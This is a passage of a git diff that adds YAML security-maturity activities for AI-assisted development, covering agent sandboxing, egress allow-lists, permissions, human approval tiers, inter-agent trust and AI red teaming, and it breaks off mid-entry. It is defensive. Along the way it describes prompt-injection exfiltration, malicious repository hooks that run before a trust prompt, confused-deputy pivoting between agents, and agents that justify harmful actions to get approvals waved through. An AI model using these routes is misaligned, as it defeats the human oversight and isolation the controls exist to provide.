AI-*assisted* implementation of arbitrary + features is covered by _Security requirements for AI-assisted + development_. + + A data-centric approach works well for the AI delta: follow the data + (prompts, retrieved documents, tool results, training and evaluation + data) through every transformation and storage point and model the + threats along that flow, as described in the guidance of NIST SP + 800-154 (data-centric system threat modeling). Running only the + generic checklist over an AI feature leaves these risks + undiscovered, because the AI-specific data flows never appear in it. + + When evaluating mitigations, apply the design test from Anthropic's + _Zero Trust for AI Agents_: "does this make the attack impossible, + or just tedious?" Agentic attackers automate tedium away: they + retry endlessly at almost no cost, so a control that only adds + friction (a rate limit, one more network hop to pivot through, a + non-standard port) loses its value. Favor controls that take a + capability away entirely, such as a network path that simply does + not exist or a credential that has already expired. + risk: |- + AI-specific threats such as prompt injection paths, excessive agency of tool-using agents, + data leakage through the model context and poisoning of + retrieval-augmented generation (RAG) sources + remain unidentified and unmitigated. + measure: |- + Extend the established threat modeling practice to AI components: model + the context window, tool integrations, agents and data sources explicitly + and use AI-specific threat catalogs (e.g. OWASP Top 10 for LLM + Applications, MITRE ATLAS) alongside the generic methodology. For + agentic systems, the MAESTRO framework of the Cloud Security Alliance + (CSA) structures threats along seven layers, from the foundation model + to the agent ecosystem. + dependsOn: + - 47419324-e263-415b-815d-e7161b6b905e # Conduction of simple threat modeling on technical level + assessment: | + - Show a threat model of an AI feature that covers the model context, tool integrations, agents and data sources. + - Show which AI-specific threat catalog (e.g. OWASP Top 10 for LLM Applications, MITRE ATLAS) was used and the resulting mitigations. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - threat-modeling + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/google-saif + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/gdm-ai-control-roadmap + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c09 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c08 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-llm-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/mitre-atlas + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/csa-maestro + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/fullstory-ai-threat-modeling + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-designer + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-modeling-play + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threagile + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-ai-exchange + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/anthropic-zero-trust-agents + references: + samm2: + - D-TA-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + comments: "" + AI usage policy: + uuid: a511a9a9-1b75-4dfd-8a4f-e516e8096150 + description: |- + An AI usage policy defines which AI tools and models are approved, for which + tasks they may be used, which data may be shared with them and how + AI-generated output has to be handled (e.g. mandatory review). + risk: |- + Without a policy, employees use arbitrary AI tools ("shadow AI") with unknown + data handling, share confidential information with them and ship unreviewed + AI-generated code. + measure: |- + Define, communicate and enforce a policy for the usage of AI tools during + development, including an approval process for new tools and models. + assessment: | + - Show the published AI usage policy including approved tools, allowed data classes and handling rules for AI-generated output. + - Show the approval process for new tools and models with a recent example. + - Show how the policy is communicated to employees (e.g. onboarding, training). + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + tags: + - ai + - guidance + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/nist-ssdf-genai + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/google-saif + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c06 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/eu-ai-act + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + references: + samm2: + - G-PC-A-1 + iso27001-2017: + - 5.1.1 + iso27001-2022: + - 5.1 + comments: "" diff --git a/src/assets/YAML/default/AI/Isolation.yaml b/src/assets/YAML/default/AI/Isolation.yaml new file mode 100644 index 0000000..80fd643 --- /dev/null +++ b/src/assets/YAML/default/AI/Isolation.yaml @@ -0,0 +1,486 @@ +# yaml-language-server: $schema=../../schemas/dsomm-schema-ai.json +--- +AI: + Isolation: + AI agents are running in virtualized environments: + uuid: 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 + description: |- + AI coding assistants and agents execute commands, install dependencies and + run generated code autonomously. Running them in disposable, container-based + environments (e.g. dev containers, sandboxes, ephemeral virtual machines) + limits the blast radius of malicious or faulty agent behavior. + + Use container technology (e.g. dev containers) or lightweight virtual machines + to sandbox agent runs. Mount only the repository being worked on, avoid mounting + credentials (e.g. cloud CLI configuration, SSH keys) and drop unneeded capabilities. + Destroy the environment after the task is finished. + risk: |- + An AI agent may be manipulated (e.g. via prompt injection in source code, + issues, dependencies or web content) or may malfunction. Without isolation, + it can read secrets, modify unrelated projects, exfiltrate data or damage + the developer workstation and connected systems. + measure: |- + Run AI agents and AI coding assistants with command execution capabilities in + a dedicated, least-privilege container or virtual machine which contains only + the required project files and is destroyed after use. + dependsOn: + - 3a94d55e-fd82-4996-9eb3-20d23ff2a873 # Applications are running in virtualized environments + assessment: | + - Show the container or virtual machine configuration used for AI agent runs (e.g. a dev container definition) and demonstrate a live agent session running inside it. + - Show that only the project working directory is mounted and no credentials (SSH keys, cloud CLI configuration) are reachable from inside the environment. + - Demonstrate that the environment is destroyed after the task is finished. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 1 + tags: + - ai + - isolation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ncc-ai-coding-agent-security + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-permissions + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c09 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c04 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/container-technology + references: + samm2: + - I-SB-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + comments: "" + Network isolation for AI agents: + uuid: 951e6090-057b-4dc4-8b4f-18c6adcfc1ab + description: |- + Restricting the network egress of AI agent environments prevents data + exfiltration and the download of malicious tooling in case an agent is + hijacked through prompt injection. + + Example for a coding agent like Claude Code running in a container: + + 1. **Firewall inside the container**: on container start, an init script + running with the `NET_ADMIN` capability configures a default-deny + egress policy (iptables) and resolves an allow-list of required + domains into an ipset: model API (e.g. `api.anthropic.com`), package + registries (e.g. `registry.npmjs.org`) and the source code management + system. Anthropic's reference devcontainer ships this as + `init-firewall.sh`. The agent process runs as a non-root user + afterwards, so it cannot alter the firewall rules it is confined by. + 2. **Alternative, egress proxy**: attach the container to an internal + network without direct internet access (e.g. + `docker network create --internal`) and route traffic through a + filtering HTTP(S) proxy (`HTTPS_PROXY` environment variable) that + enforces the domain allow-list and logs all requests. In Kubernetes, + enforce the same with NetworkPolicies or a service mesh egress + gateway. + 3. **DNS**: allow DNS only to the internal resolver and only for + allow-listed domains, otherwise blocked domains remain reachable via + direct IP or DNS tunneling can be used for exfiltration. + 4. **Verify**: from inside the running container, check that a request + to an allow-listed endpoint succeeds and a request to an arbitrary + host (e.g. `curl https://example.com`) is blocked. + + Isolation-conscious design pays a double dividend: forcing all agent + traffic through one enforced egress point (firewall or proxy) creates + a monitored bottleneck. Attacks that would otherwise be invisible + must pass through it, which is a high-leverage place for detection + (see the Google DeepMind AI Control Roadmap). + risk: |- + A prompt-injected AI agent can exfiltrate source code, secrets or personal + data to arbitrary hosts, or download and execute attacker-controlled payloads. + measure: |- + Limit network access of AI agent environments to an allow-list of required + endpoints (e.g. model API, package registries, source code management system). + Deny all other egress traffic by default. + dependsOn: + - 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 # AI agents are running in virtualized environments + assessment: | + - Show the egress policy of the agent environment (firewall init script, proxy configuration or network policies) including the domain allow-list. + - Demonstrate from inside the agent environment that an allow-listed endpoint is reachable and a request to an arbitrary host is blocked. + - Show where blocked egress attempts are logged and who reviews them. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - isolation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-permissions + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c09 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c04 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/claude-code-devcontainer + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/gdm-ai-control-roadmap + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/firewalls + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/container-technology + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 13.1.3 + iso27001-2022: + - 8.22 + comments: "" + Untrusted workspace handling for AI agents: + uuid: 859c71b6-110f-40a9-9c98-20e8314ebdb7 + description: |- + Launching an AI coding agent inside a cloned third-party repository + can hand control to the repository author before the user grants any + trust: documented vulnerabilities in several agents (e.g. Claude + Code, Cursor) showed that files under the repository's control + (agent settings, hooks, definitions of Model Context Protocol (MCP) + servers, bundled executables) were already evaluated while the + workspace trust dialog was still unanswered. Even a checkout done + only for a code review can therefore be enough to compromise the + developer workstation. + risk: |- + An attacker publishes a prepared repository; when a developer opens + it with an AI agent, configuration or executables under the + attacker's control run on the developer machine before any trust + decision, with access to credentials and every other project on + that machine. + measure: |- + Treat third-party repositories as untrusted workspaces: open them only + in an isolated container, do not honor repo-local agent configuration + (hooks, MCP servers, settings) of untrusted origin, keep agent versions + patched and never disable workspace trust prompts. + dependsOn: + - 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 # AI agents are running in virtualized environments + assessment: | + - Show the documented procedure for opening third-party repositories with AI agents. + - Demonstrate that workspace trust prompts are enabled and that repository-local agent configuration (hooks, MCP servers, settings) is not honored for untrusted repositories. + - Show how agent versions are kept patched (update mechanism or policy). + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ncc-ai-coding-agent-security + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/claude-code-devcontainer + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + comments: "" + Permission management for AI agents: + uuid: 4a618049-19da-4e20-b933-81f203ecd4d2 + description: |- + AI coding agents have their own permission model that controls which + tools, commands and file operations they may execute and which actions + are auto-approved (e.g. the allow-list in Claude Code settings). + These grants accumulate over time through convenience approvals and + form the first authorization layer, before any external credential is + involved. + risk: |- + Overly broad "always allow" grants accumulate unnoticed. A manipulated + or malfunctioning agent executes destructive commands, accesses + credential stores or pushes code without any confirmation, because the + permission was granted once and never reviewed. + measure: |- + Configure agent permissions default-deny if agents are not isolated (e.g. least privileges with a container): + require confirmation for sensitive operations (pushes, deletions, network access, credential + paths), distribute a hardened baseline configuration to all projects and + audit the accumulated allow-lists regularly. + assessment: | + - Show the hardened baseline permission configuration that is distributed to projects. + - Demonstrate that a sensitive operation (e.g. push, deletion, access to credential paths) requires confirmation. + - Show the last audit of accumulated allow-lists including date and findings. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ncc-ai-coding-agent-security + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-permissions + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c09 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/grantguard + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + comments: "" + Human approval for irreversible AI agent actions: + uuid: cd1cb2bd-4bd6-4b9f-beaa-921fe9ea9576 + description: |- + Agent actions differ vastly in blast radius: reading data is harmless, + transferring money is not. Graduated human oversight assigns every + class of agent action an approval tier based on its reversibility: + low-risk, reversible actions run autonomously within guardrails; + reversible actions with business impact run under monitoring with an + intervention window; irreversible actions (financial transactions, + permission changes, sharing data with third parties, outbound + communication) require explicit human approval before execution, + high-risk ones by two independent people (four-eyes principle). + Whereas _Permission management for AI agents_ governs the agent's + tool-level permission model, this activity governs the business + actions an agent performs through those tools. It completes the + human-oversight ladder started by the artifact reviews + (_Human review of AI generated specifications_, _Human review of + AI generated plans_, _Human review of AI generated code_ in + Verification): those gate what is built, this activity gates what + a running agent does. + risk: |- + A manipulated (e.g. via prompt injection) or malfunctioning agent + performs an action that cannot be rolled back: money is transferred, + data reaches a third party, an e-mail is sent, permissions are + escalated. After-the-fact monitoring cannot undo it. The opposite + failure mode is rubber-stamping: approvals nobody actually reads + create the appearance of oversight without any. Attackers exploit + this deliberately. A manipulated agent justifies a harmful action + with a fabricated but plausible rationale, and the approver waves + it through because the agent appears competent (automation bias, + see OWASP Top 10 for Agentic Applications, ASI09). + measure: |- + Classify agent action types by reversibility and assign approval + tiers: pre-approval for irreversible actions, monitoring with an + intervention window for reversible actions with business impact + (e.g. buffer outbound messages for a defined period so an + intervention stops delivery), autonomy only for low-risk reversible + actions. If the reversibility of an action class cannot be + demonstrated, default to pre-approval. Require a second, independent + approver for high-risk actions, record the approver identity, the + decision context and the reason in the audit log, and design the + approval step so the approver actually sees the action and its + context instead of clicking through. + dependsOn: + - 4a618049-19da-4e20-b933-81f203ecd4d2 # Permission management for AI agents + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + assessment: | + - Show the classification of agent action types by reversibility and the approval tier assigned to each class. + - Demonstrate that an irreversible action (e.g. an outbound message or a permission change) is blocked until a human approves it, and that an intervention within the monitoring window stops a buffered action. + - Show a high-risk action with two documented, independent approvals. + - Show an audit log entry of an approval including approver identity, decision context and reason. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - isolation + - human-approval + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/eu-ai-act + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 6.1.2 + iso27001-2022: + - 5.3 + comments: "" + Least privilege on external systems for AI agents: + uuid: 45f722b2-25b4-472a-a743-f7207a77b5c9 + description: |- + Beyond their own permission model, AI agents authenticate against + external systems: source code management (e.g. GitHub), CI/CD, cloud + providers and internal APIs. Scoped, short-lived and auditable + credentials ensure an agent can only perform the actions required for + its task on those systems. + risk: |- + AI agents using broadly scoped personal or service credentials can be tricked + into destructive or unauthorized actions (e.g. deleting repositories, approving + their own pull requests, accessing production data). + measure: |- + Provide AI agents with dedicated identities and short-lived, minimally scoped + credentials (e.g. fine-grained access tokens restricted to one repository). + Where supported, keep credentials out of the agent process entirely: a + proxy or gateway injects them at the network boundary ("secretless" + architecture), so a prompt-injected agent cannot exfiltrate what it + never holds. Log and review agent actions separately from human actions. + dependsOn: + - 4a618049-19da-4e20-b933-81f203ecd4d2 # Permission management for AI agents + assessment: | + - Show a dedicated agent identity in the source code management system (or other external system) and the scopes granted to it. + - Show that agent credentials are short-lived and minimally scoped (token configuration or issuance policy). + - Show where agent credentials are stored and injected, preferably outside the agent process (e.g. credential injection at a proxy or gateway). + - Demonstrate that agent actions are distinguishable from human actions in the audit log. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - isolation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/agent-identity-access-model + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-cloud + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c05 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/hashicorp-vault + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/anthropic-zero-trust-agents + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + comments: "" + Trust boundaries between AI agents: + uuid: abe74dfd-d554-4ec5-8b94-f75d352afaaa + description: |- + In multi-agent systems, agents delegate tasks to other agents, and + the trust relationships between them are dynamic and often implicit. + Two failure modes dominate (OWASP Top 10 for Agentic Applications, + ASI03): + - Unscoped privilege inheritance: a delegating agent hands its + complete permissions down to a subagent whose task requires only + a fraction of them. + - Confused deputy: an attacker who controls a weakly privileged + agent routes plausible requests through a strongly privileged + one. The receiving agent executes them because they arrive from + a familiar peer, and nobody checks the original intent. + + Explicit trust boundaries treat every delegation like an external + request. The receiving agent verifies the identity and + authorization of the delegating agent instead of trusting the + chain. The messages between agents need the same protection as the + delegation itself: without mutual authentication, message signing + and replay protection, an attacker can spoof or replay agent + messages and register fake agents in the discovery mechanism + (ASI07, Insecure Inter-Agent Communication). Splitting a large + agent into several smaller ones compartmentalizes risk only if + each agent has its own identity and credentials. Shared + credentials undo the compartmentalization. _Least privilege on + external systems for AI agents_ scopes each agent's access to + external systems; this activity scopes the trust between the + agents themselves. + risk: |- + An attacker compromises one low-privilege agent (e.g. via prompt + injection) and pivots through delegation: higher-privileged agents + accept its requests unchecked, inherited access contexts carry full + permissions into subtasks, and the attacker reaches systems the + initially compromised agent could never access directly. + measure: |- + Give every agent its own identity and its own credentials, never + shared between agents. Scope each delegated task to the minimum + permissions it needs instead of passing on the delegating agent's + access context. Check at every step of a multi-agent workflow that + the delegating agent is who it claims to be and is authorized to + request the action. Secure the communication channel itself with + mutual authentication and signed messages (e.g. mutual TLS), + replay protection (e.g. nonces and expiry times) and rejection of + protocol downgrades. Accept agents into a workflow only from a + registry or discovery mechanism that verifies agent identity and + descriptors. Record the communication between agents so that + delegations deviating from the usual patterns surface for review + (see _Audit logging of AI agent actions_ and _Anomaly detection + for AI agent behavior_). + dependsOn: + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + assessment: | + - Show that each agent in a multi-agent workflow has its own identity and credentials (no shared credentials). + - Show how a delegated task receives a reduced permission scope instead of the delegating agent's full access context. + - Demonstrate that a delegation from an unauthorized or unknown agent is rejected. + - Show how inter-agent messages are authenticated and protected against replay, and that a message from an unregistered agent or a protocol downgrade is rejected. + - Show how inter-agent communication is logged and how unusual delegation patterns are flagged. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - isolation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/agent-identity-access-model + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c05 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/anthropic-zero-trust-agents + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + comments: "" + Rate limiting and resource budgets for AI systems: + uuid: 64aef733-bfb0-4df4-95de-bcecf668605d + description: |- + Every model call costs compute and money, and AI endpoints answer + expensive requests on demand. Without limits a single user, script or + runaway agent can exhaust the service: availability suffers or the + provider bill explodes ("denial of wallet"), and mass querying of a + model additionally enables extraction of its behavior via + input-output harvesting. Limits apply in both directions: inbound on + exposed AI endpoints (requests per user and time window), outbound + for the organization's own agents (token and cost budgets, iteration + caps against runaway loops). The generic resource limits for + infrastructure are defined in _Virtual environments are limited_ + (Implementation). This activity adds the AI-specific units: + requests, tokens and cost. + risk: |- + An attacker or a buggy client floods an AI endpoint with expensive + requests: the service becomes unavailable for legitimate users or + causes unbounded provider costs. A runaway agent loops at machine + speed and burns budget unnoticed. Unlimited mass querying supports + model extraction and brute-force prompt attacks. + measure: |- + Enforce rate limits per user, API key or tenant on all AI endpoints + and restrict input size before it reaches the model. Set token and + cost budgets per agent, team and time period, with alerts before a + budget is exhausted. Cap agent iterations (maximum tool calls or + recursion depth per task) so runaway loops terminate. An LLM gateway + or proxy centralizes these limits across models and providers. + dependsOn: + - 10e23a8c-22ff-4487-a706-87ccc9d0798e # Monitoring of costs + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting + assessment: | + - Show the rate limit configuration of an AI endpoint and a test where the limit triggers. + - Show the token and cost budgets per agent or team and the alert before a budget is exhausted. + - Show the iteration cap of an agent and what happens when it is reached. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/litellm + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/tealtiger + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-ai-exchange + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-llm-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + comments: "" diff --git a/src/assets/YAML/default/AI/RedTeaming.yaml b/src/assets/YAML/default/AI/RedTeaming.yaml new file mode 100644 index 0000000..911d323 --- /dev/null +++ b/src/assets/YAML/default/AI/RedTeaming.yaml @@ -0,0 +1,103 @@ +# yaml-language-server: $schema=../../schemas/dsomm-schema-ai.json +--- +AI: + Red Teaming: + Basic AI red teaming: + uuid: b4233919-6de0-4ed3-b7da-3bdd91c8db5e + description: |- + AI-based features (e.g. chat bots, agents, retrieval-augmented + generation (RAG) systems) have attack surfaces + that classic penetration tests do not cover, such as prompt injection, + jailbreaks, insecure output handling and excessive agency. Manual AI red + teaming probes these weaknesses before release. + risk: |- + AI features go live without being tested against AI-specific attacks. An + attacker uses prompt injection or jailbreaks to bypass restrictions, trigger + unauthorized actions or extract confidential data from the model context. + measure: |- + Perform manual AI red teaming for AI-based features before their initial + release, covering at least the OWASP Top 10 for LLM Applications + (e.g. prompt injection, insecure output handling, sensitive information + disclosure, excessive agency). + assessment: | + - Show the scope and findings of the last manual AI red teaming session for an AI-based feature. + - Show that findings were triaged and fixed (e.g. tickets and their resolution). + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - red-teaming + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c11 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c07 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-llm-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-ai-exchange + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + comments: "" + Regular automated AI red teaming: + uuid: 7fb64f55-2b2c-4165-bb5a-ce5204dc2f73 + description: |- + Automated AI red teaming tools run large libraries of adversarial prompts + (prompt injection, jailbreaks, data extraction, toxic output) against AI-based + features. Integrating them into the delivery pipeline detects regressions + whenever prompts, models or guardrails change. + risk: |- + One-off manual red teaming does not catch regressions. Model updates, prompt + changes or new tool integrations silently reintroduce vulnerabilities in + AI-based features. Upstream providers additionally update models without + notice ("silent model drift"): identical prompts produce different + behavior although nothing in the organization changed, and the change + goes unnoticed until complaints accumulate. + measure: |- + Integrate automated AI red teaming / adversarial testing tools into the + delivery pipeline of AI-based features and run them regularly and on every + significant change to prompts, models or guardrails. Complement the + adversarial tests with behavioral regression tests ("golden answers"): + defined test queries whose responses are compared semantically against + approved reference answers, so silent upstream model updates are + detected. Maintain the reference answers like any other reviewed + content: stale expected answers make the tests pass while the + responses are wrong. + dependsOn: + - b4233919-6de0-4ed3-b7da-3bdd91c8db5e # Basic AI red teaming + assessment: | + - Show the automated AI red teaming tool and its integration into the delivery pipeline. + - Show recent runs, what triggered them (e.g. prompt or model changes) and how regressions are reported. + - Show the golden-answer test set, the semantic comparison against reference answers and when the reference answers were last reviewed. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 3 + usefulness: 4 + level: 4 + tags: + - ai + - red-teaming + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c11 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c07 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/garak + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/pyrit + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/promptfoo + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + comments: "" diff --git a/src/assets/YAML/default/AI/Verification.yaml b/src/assets/YAML/default/AI/Verification.yaml new file mode 100644 index 0000000..4f0c4b6 --- /dev/null +++ b/src/assets/YAML/default/AI/Verification.yaml @@ -0,0 +1,541 @@ +# yaml-language-server: $schema=../../schemas/dsomm-schema-ai.json +--- +AI: + Verification: + Human review of AI generated specifications: + uuid: 09307f26-bf34-49c2-828e-649130876978 + description: |- + In AI-assisted development, human attention scales best at the + specification level: one page of specification determines what all + downstream artifacts (plans, code, tests) will contain, and an + error here is multiplied into every one of them. Reviewing the + specification the AI works from (a user story with acceptance + criteria, or the specify-phase artifact in spec-driven development) + catches wrong intent, missing security requirements and wrong + assumptions before anything is generated. It is the first rung of + the human-oversight ladder that continues with _Human review of AI + generated plans_, _Human review of AI generated code_ and _Human + approval for irreversible AI agent actions_ (Isolation). + risk: |- + An AI assistant implements exactly what an unreviewed specification + says: missing authorization requirements, absent abuse cases and + wrong assumptions are faithfully turned into plans, code and tests. + Later code review rarely catches this, because reviewers check whether + the code matches the specification, not whether the specification is + right. + measure: |- + Require human review of the specification before AI-assisted + implementation starts: are the security acceptance criteria complete, + are scope and assumptions correct, is anything security-relevant + missing? In spec-driven workflows, make this review the gate of the + specify phase and keep the reviewed specification under version + control. + dependsOn: + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show a recent specification an AI assistant worked from and its documented human review before implementation started. + - Show that the review checked the security acceptance criteria (e.g. review comments or a checklist). + - In spec-driven workflows: show that the specify phase cannot be left without the review gate. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 5 + level: 2 + tags: + - ai + - verification + - human-review + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/new-sdlc-vibe-coding + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/spec-kit + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + comments: "" + Human review of AI generated plans: + uuid: 1bd1308d-ae3b-499a-ae81-818993571f52 + description: |- + Between specification and code sits the plan: which components are + touched, which dependencies are added, how the security requirements + will be implemented. Reviewing the AI-generated plan catches + design-level flaws (a dropped security requirement, an insecure + design choice, an unnecessary new dependency, changes to + security-critical components) while they are still one line in a + plan instead of hundreds of generated lines of code. In spec-driven + development this is the gate of the plan phase; agents also propose + plans outside formal workflows (e.g. a plan mode) that can be + reviewed the same way. + risk: |- + The AI-generated plan silently drops security requirements from the + specification, chooses an insecure design or pulls in avoidable + dependencies. The agent then generates large amounts of code against + the flawed plan. Code reviewers, biased by plausible-looking + code, then verify the implementation against the plan instead of + questioning the plan itself. + measure: |- + Require human review of the plan before AI-assisted implementation: + verify that every security requirement from the specification is + carried through, that security-relevant design decisions are + justified and that changes to security-critical components are + flagged for deeper review. In spec-driven workflows, make this + review the gate of the plan phase and keep the reviewed plan under + version control. + dependsOn: + - 09307f26-bf34-49c2-828e-649130876978 # Human review of AI generated specifications + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show a recent AI-generated plan and its documented human review before implementation. + - Show that the review traced the security requirements from the specification into the plan. + - Show how plans touching security-critical components are flagged for deeper review. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - human-review + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/new-sdlc-vibe-coding + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/spec-kit + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-modeling-play + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.25 + comments: "" + Human review of AI generated code: + uuid: d6bc0b7f-fd98-49fe-b66c-7c5fa70452c6 + description: |- + AI-generated code is plausible-looking by construction and often accepted + without scrutiny ("automation bias"). It must be treated like code from an + untrusted contributor: a human with knowledge of the codebase reviews it + before it is merged. The upstream reviews of specification and plan + (_Human review of AI generated specifications_, _Human review of AI + generated plans_) reduce what code review must catch, and the + automated gates (_Self-verification of AI generated changes_, _Static + and dynamic analysis of AI generated code_) filter mechanical + findings. Neither replaces this activity: agents deviate from + approved plans, so the code remains the last artifact gate before + merge. + risk: |- + 